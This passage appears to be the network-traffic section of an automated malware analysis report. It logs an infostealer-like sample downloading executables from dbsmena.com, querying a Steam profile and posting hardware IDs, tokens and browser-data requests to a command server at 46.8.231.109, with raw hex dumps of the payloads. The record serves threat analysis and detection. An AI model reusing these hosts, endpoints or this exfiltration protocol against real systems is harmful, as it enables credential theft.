82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 26 Sep 2024 17:05:17 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "1f3950-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 26 Sep 2024 17:05:19 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "3ef50-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 26 Sep 2024 17:05:19 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "13bf0-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET /vdshfd.exe HTTP/1.1Host: dbsmena.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ljhgfsd.exe HTTP/1.1Host: dbsmena.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /profiles/76561199780418869 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /profiles/76561199780418869 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 46.8.231.109Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGDGCFBAEGDHJKEBGCBAHost: 46.8.231.109Content-Length: 214Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 44 47 43 46 42 41 45 47 44 48 4a 4b 45 42 47 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 45 41 45 37 30 46 31 44 38 30 41 31 36 33 33 30 34 37 39 38 36 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 47 43 46 42 41 45 47 44 48 4a 4b 45 42 47 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 47 43 46 42 41 45 47 44 48 4a 4b 45 42 47 43 42 41 2d 2d 0d 0a Data Ascii: ------CGDGCFBAEGDHJKEBGCBAContent-Disposition: form-data; name="hwid"9EAE70F1D80A1633047986------CGDGCFBAEGDHJKEBGCBAContent-Disposition: form-data; name="build"default------CGDGCFBAEGDHJKEBGCBA--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHCBAEHJJJKKFIDGHJECHost: 46.8.231.109Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 43 42 41 45 48 4a 4a 4a 4b 4b 46 49 44 47 48 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 30 30 64 65 38 63 63 31 65 65 30 61 32 39 61 63 38 64 31 33 66 39 39 37 64 38 39 66 35 61 39 33 35 38 33 32 36 63 36 62 36 63 32 64 64 63 36 38 39 65 31 31 35 38 32 38 35 62 38 62 62 66 39 39 30 63 37 31 36 30 34 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 42 41 45 48 4a 4a 4a 4b 4b 46 49 44 47 48 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 42 41 45 48 4a 4a 4a 4b 4b 46 49 44 47 48 4a 45 43 2d 2d 0d 0a Data Ascii: ------DHCBAEHJJJKKFIDGHJECContent-Disposition: form-data; name="token"600de8cc1ee0a29ac8d13f997d89f5a9358326c6b6c2ddc689e1158285b8bbf990c71604------DHCBAEHJJJKKFIDGHJECContent-Disposition: form-data; name="message"browsers------DHCBAEHJJJKKFIDGHJEC--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGCAAFHIEBKJKEBFIEHDHost: 46.8.231.109Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 43 41 41 46 48 49 45 42 4b 4a 4b 45 42 46 49 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 30 30 64 65 38 63 63 31 65 65 30 61 32 39 61 63 38 64 31 33 66 39 39 37 64 38 39 66 35 61 39 33 35 38 33 32 36 63 36 62 36 63 32 64 64 63 36 38 39 65 31 31 35 38 32 38 35 62 38 62 62 66 39 39 30 63 37 31 36 30 34 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 41 41 46 48 49 45 42 4b 4a 4b 45 42 46 49 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 41 41 46 48 49 45 42 4b 4a 4b 45 42 46 49 45 48 44 2d 2d 0d 0a Data Ascii: ------BGCAAFHIEBKJKEBFIEHDContent-Disposition: form-data; name="token"600de8cc1ee0a29ac8d13f997d89f5a9358326c6b6c2ddc689e1158285b8bbf990c71604------BGCAAFHIEBKJKEBFIEHDContent-Disposition: form-data; name="message"plugins------BGCAAFHIEBKJKEBFIEHD--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBFBKFIDHIDGHJKFBGHCHost: 46.8.231.109Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 46 42 4b 46 49 44 48 49 44 47 48 4a 4b 46 42 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 30 30 64 65 38 63 63 31 65 65 30 61 32 39 61 63 38 64 31 33 66 39 39 37 64 38 39 66 35 61 39 33 35 38 33 32 36 63 36 62 36 63 32 64 64 63 36 38 39 65 31 31 35 38 32 38 35 62 38 62 62 66 39 39 30 63 37 31 36 30 34 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 42 4b 46 49 44 48 49 44 47 48 4a 4b 46 42 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 42 4b 46 49 44 48 49 44 47 48 4a 4b 46 42 47 48 43 2d 2d 0d 0a Data Ascii: ------CBFBKFIDHIDGHJKFBGHCContent-Disposition: form-data; name="token"600de8cc1ee0a29ac8d13f997d89f5a9358326c6b6c2ddc689e1158285b8bbf990c71604------CBFBKFIDHIDGHJKFBGHCContent-Disposition: form-data; name="message"fplugins------CBFBKFIDHIDGHJKFBGHC--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHCAEGDHJKFHJKFIJKJEHost: 46.8.231.109Content-Length: 6299Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/sqlite3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCFIJEBFCGDAAKFHIDBFHost: 46.8.231.109Content-Length: 4599Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIEBAFCBKFIDGCAKKKFCHost: 46.8.231.109Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHIDAKFIJJKJJJKEBKJEHost: 46.8.231.109Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 49 44 41 4b 46 49 4a 4a 4b 4a 4a 4a 4b 45 42 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 30 30 64 65 38 63 63 31 65 65 30 61 32 39 61 63 38 64 31 33 66 39 39 37 64 38 39 66 35 61 39 33 35 38 33 32 36 63 36 62 36 63 32 64 64 63 36 38 39 65 31 31 35 38 32 38 35 62 38 62 62 66 39 39 30 63 37 31 36 30 34 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 44 41 4b 46 49 4a 4a 4b 4a 4a 4a 4b 45 42 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 44 41 4b 46 49 4a 4a 4b 4a 4a 4a 4b 45 42 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 44 41 4b 46 49 4a 4a 4b 4a 4a 4a 4b 45 42 4b 4a 45 2d 2d 0d 0a Data Ascii: ------FHIDAKFIJJKJJJKEBKJEContent-Disposition: form-data; name="token"600de8cc1ee0a29ac8d13f997d89f5a9358326c6b6c2ddc689e1158285b8bbf990c71604------FHIDAKFIJJKJJJKEBKJEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------FHIDAKFIJJKJJJKEBKJEContent-Disposition: form-data; name="file"------FHIDAKFIJJKJJJKEBKJE--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKEBFCFIJJKKECAKJEHDHost: 46.8.231.109Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 45 42 46 43 46 49 4a 4a 4b 4b 45 43 41 4b 4a 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 30 30 64 65 38 63 63 31 65 65 30 61 32 39 61 63 38 64 31 33 66 39 39 37 64 38 39 66 35 61 39 33 35 38 33 32 36 63 36 62 36 63 32 64 64 63 36 38 39 65 31 31 35 38 32 38 35 62 38 62 62 66 39 39 30 63 37 31 36 30 34 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 42 46 43 46 49 4a 4a 4b 4b 45 43 41 4b 4a 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 42 46 43 46 49 4a 4a 4b 4b 45 43 41 4b 4a 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 42 46 43 46 49 4a 4a 4b 4b 45 43 41 4b 4a 45 48 44 2d 2d 0d 0a Data Ascii: ------AKEBFCFIJJKKECAKJEHDContent-Disposition: form-data; name="token"600de8cc1ee0a29ac8d13f997d89f5a9358326c6b6c2ddc689e1158285b8bbf990c71604------AKEBFCFIJJKKECAKJEHDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AKEBFCFIJJKKECAKJEHDContent-Disposition: form-data; name="file"------AKEBFCFIJJKKECAKJEHD--
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/freebl3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/mozglue.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/msvcp140.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/nss3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/softokn3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/vcruntime140.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCAEHDBAAECBFHJKFCFBHost: 46.8.231.109Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
